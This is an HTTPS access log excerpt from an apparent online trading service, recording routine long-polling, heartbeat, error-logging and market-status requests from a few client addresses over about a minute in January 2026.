[09/Jan/2026:12:09:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932056041 HTTP/1.1" -
[09/Jan/2026:12:09:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:09:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:09:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932059332 HTTP/1.1" -
[09/Jan/2026:12:09:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932061297 HTTP/1.1" -
[09/Jan/2026:12:09:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932061011 HTTP/1.1" -
[09/Jan/2026:12:09:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:09:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932062222 HTTP/1.1" -
[09/Jan/2026:12:09:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932062327 HTTP/1.1" -
[09/Jan/2026:12:09:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932062327 HTTP/1.1" -
[09/Jan/2026:12:09:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932061143 HTTP/1.1" -
[09/Jan/2026:12:09:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:09:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:09:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932065329 HTTP/1.1" -
[09/Jan/2026:12:09:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932066324 HTTP/1.1" -
[09/Jan/2026:12:09:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932066149 HTTP/1.1" -
[09/Jan/2026:12:09:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932067336 HTTP/1.1" -
[09/Jan/2026:12:09:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:09:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:09:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932066231 HTTP/1.1" -
[09/Jan/2026:12:09:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932068333 HTTP/1.1" -
[09/Jan/2026:12:09:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932068333 HTTP/1.1" -
[09/Jan/2026:12:10:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932071363 HTTP/1.1" -
[09/Jan/2026:12:10:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932071274 HTTP/1.1" -
[09/Jan/2026:12:10:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932071333 HTTP/1.1" -
[09/Jan/2026:12:10:03 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932072546 HTTP/1.1" -
[09/Jan/2026:12:10:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932071321 HTTP/1.1" -
[09/Jan/2026:12:10:04 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:04 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:10:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932074332 HTTP/1.1" -
[09/Jan/2026:12:10:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932074332 HTTP/1.1" -
[09/Jan/2026:12:10:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932076390 HTTP/1.1" -
[09/Jan/2026:12:10:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932076363 HTTP/1.1" -
[09/Jan/2026:12:10:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932077328 HTTP/1.1" -
[09/Jan/2026:12:10:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932076440 HTTP/1.1" -
[09/Jan/2026:12:10:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932077836 HTTP/1.1" -
[09/Jan/2026:12:10:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932080332 HTTP/1.1" -
[09/Jan/2026:12:10:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932080333 HTTP/1.1" -
[09/Jan/2026:12:10:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932081437 HTTP/1.1" -
[09/Jan/2026:12:10:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932081517 HTTP/1.1" -
[09/Jan/2026:12:10:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932081545 HTTP/1.1" -
[09/Jan/2026:12:10:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932083044 HTTP/1.1" -
[09/Jan/2026:12:10:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932083333 HTTP/1.1" -
[09/Jan/2026:12:10:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932086491 HTTP/1.1" -
[09/Jan/2026:12:10:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932086335 HTTP/1.1" -
[09/Jan/2026:12:10:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932086335 HTTP/1.1" -
[09/Jan/2026:12:10:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932086703 HTTP/1.1" -
[09/Jan/2026:12:10:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:10:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:10:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932086611 HTTP/1.1" -
[09/Jan/2026:12:10:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932088355 HTTP/1.1" -
[09/Jan/2026:12:10:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932089334 HTTP/1.1" -
[09/Jan/2026:12:10:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:10:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:10:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932091529 HTTP/1.1" -
[09/Jan/2026:12:10:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:10:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932091852 HTTP/1.1" -
[09/Jan/2026:12:10:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932092338 HTTP/1.1" -
[09/Jan/2026:12:10:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932092338 HTTP/1.1" -
[09/Jan/2026:12:10:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932091713 HTTP/1.1" -
[09/Jan/2026:12:10:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:10:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932093569 HTTP/1.1" -
[09/Jan/2026:12:10:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:10:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932095334 HTTP/1.1" -
[09/Jan/2026:12:10:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932096552 HTTP/1.1" -
[09/Jan/2026:12:10:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932097037 HTTP/1.1" -
[09/Jan/2026:12:10:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:10:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:10:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:10:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932096798 HTTP/1.1" -
[09/Jan/2026:12:10:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932098330 HTTP/1.1" -
[09/Jan/2026:12:10:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932098330 HTTP/1.1" -
[09/Jan/2026:12:10:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932098709 HTTP/1.1" -
[09/Jan/2026:12:10:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932101568 HTTP/1.1" -
[09/Jan/2026:12:10:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932101325 HTTP/1.1" -
[09/Jan/2026:12:10:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932102267 HTTP/1.1" -
[09/Jan/2026:12:10:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932101838 HTTP/1.1" -
